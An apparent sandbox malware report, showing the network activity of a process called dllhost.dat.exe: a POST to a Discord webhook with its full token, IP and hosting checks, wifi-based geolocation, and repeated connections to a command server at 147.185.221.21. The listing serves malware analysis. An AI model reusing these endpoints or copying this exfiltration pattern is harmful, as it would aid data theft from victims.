                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  discord.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  162.159.138.232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  POST
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  https://discord.com/api/webhooks/1016614786533969920/fMJOOjA1pZqjV8_s0JC86KN9Fa0FeGPEHaEak8WTADC18s5Xnk3vl2YBdVD37L0qTWnM?wait=true
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  162.159.136.232:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  POST /api/webhooks/1016614786533969920/fMJOOjA1pZqjV8_s0JC86KN9Fa0FeGPEHaEak8WTADC18s5Xnk3vl2YBdVD37L0qTWnM?wait=true HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Host: discord.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Content-Length: 2200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Expect: 100-continue
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Date: Wed, 10 Jul 2024 23:44:35 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Content-Type: application/json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Content-Length: 45
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  set-cookie: __dcfduid=5ce326b23f1611ef8a0ae6978d09049b; Expires=Mon, 09-Jul-2029 23:44:35 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  x-ratelimit-limit: 5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  x-ratelimit-remaining: 4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  x-ratelimit-reset: 1720655076
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  via: 1.1 google
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jo0xnP8AZtTqkOnEwGaOM6DpzN%2BHvR%2FHMd%2By0c%2F7IdU127ohMoqFmt2YfFuPxKJmQFOXKeCyPD4JuZ90BaYmRxqj19KYmoZ1PVMOYmvezHnHl5P7gqmkelY6ULis"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Set-Cookie: __sdcfduid=5ce326b23f1611ef8a0ae6978d09049b0bbd4f71df44ac9e7a0edef6dc454a300dd263c5bbb1b2e8d10c646acb4d717a; Expires=Mon, 09-Jul-2029 23:44:35 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Set-Cookie: __cfruid=c17012097dc12511cc70ab9806b03be6e99505a9-1720655075; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Set-Cookie: _cfuvid=kj9QdsdDIiizvsPrGVTHX0EsDPepYQkMdwiCRTOzFu0-1720655075245-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  CF-RAY: 8a146c2b6fea9578-LHR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  232.136.159.162.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  232.136.159.162.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  81.144.22.2.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  81.144.22.2.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  81.144.22.2.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  a2-22-144-81deploystaticakamaitechnologiescom
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  29.243.111.52.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  29.243.111.52.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  10.179.89.13.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  10.179.89.13.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 204.79.197.237:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  tls, http2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2.0kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  9.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  22
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  19

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid=

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  204

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid=

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  204

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=d61e09239b344723b8ea6f8bf826fe7c&localId=w:A12AC88C-949E-57CB-CC9F-17EBD2A35AF9&deviceId=6825836757625552&anid=

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  204
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 147.185.221.21:6643
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  77.0kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2.9MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1311
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2405
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 147.185.221.21:6643
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  78.0kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1.1kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  64
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  24
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 104.16.185.241:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  http://icanhazip.com/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  464 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET http://icanhazip.com/

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET http://icanhazip.com/

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 208.95.112.1:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  http://ip-api.com/line/?fields=hosting
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  264 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  307 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET http://ip-api.com/line/?fields=hosting

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 172.67.196.114:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=46:47:65:7c:a1:d4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  tls, http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  814 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  9

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  GET https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=46:47:65:7c:a1:d4

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 162.159.136.232:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  https://discord.com/api/webhooks/1016614786533969920/fMJOOjA1pZqjV8_s0JC86KN9Fa0FeGPEHaEak8WTADC18s5Xnk3vl2YBdVD37L0qTWnM?wait=true
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  tls, http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5.0kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  12
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  11

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  POST https://discord.com/api/webhooks/1016614786533969920/fMJOOjA1pZqjV8_s0JC86KN9Fa0FeGPEHaEak8WTADC18s5Xnk3vl2YBdVD37L0qTWnM?wait=true

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  404
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 147.185.221.21:6643
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  441 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  7
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 147.185.221.21:6643
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  836 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  401 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 147.185.221.21:6643
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  836 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  401 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 147.185.221.21:6643
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  7.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  48
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  64
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 147.185.221.21:4448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cvtres.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  260 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 147.185.221.21:4448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cvtres.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  260 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 147.185.221.21:4448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cvtres.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  260 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 147.185.221.21:6643
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  6.7kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  773 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  19
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  15
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 147.185.221.21:4448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cvtres.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  260 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 147.185.221.21:4448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cvtres.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  260 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 147.185.221.21:6643
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  481 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 147.185.221.21:4448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cvtres.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  260 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 147.185.221.21:4448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cvtres.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  208 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  g.bing.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  56 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  151 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  g.bing.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  204.79.197.237
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  13.107.21.237

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  66 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  90 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8.8.8.8.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  67.31.126.40.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  71 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  157 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  67.31.126.40.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  101.210.23.2.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  71 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  135 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  101.210.23.2.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  237.197.79.204.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  73 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  143 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  237.197.79.204.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  26.35.223.20.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  71 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  157 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  26.35.223.20.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  21.221.185.147.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  73 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  130 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  21.221.185.147.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  86.23.85.13.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  70 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  144 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  86.23.85.13.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  206.23.85.13.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  71 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  145 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  206.23.85.13.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  99.58.20.217.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  71 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  131 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  99.58.20.217.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  icanhazip.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  59 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  91 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  icanhazip.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  104.16.185.241
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  104.16.184.241

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  241.185.16.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  73 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  135 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  241.185.16.104.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  ip-api.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  56 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  72 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  ip-api.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Response

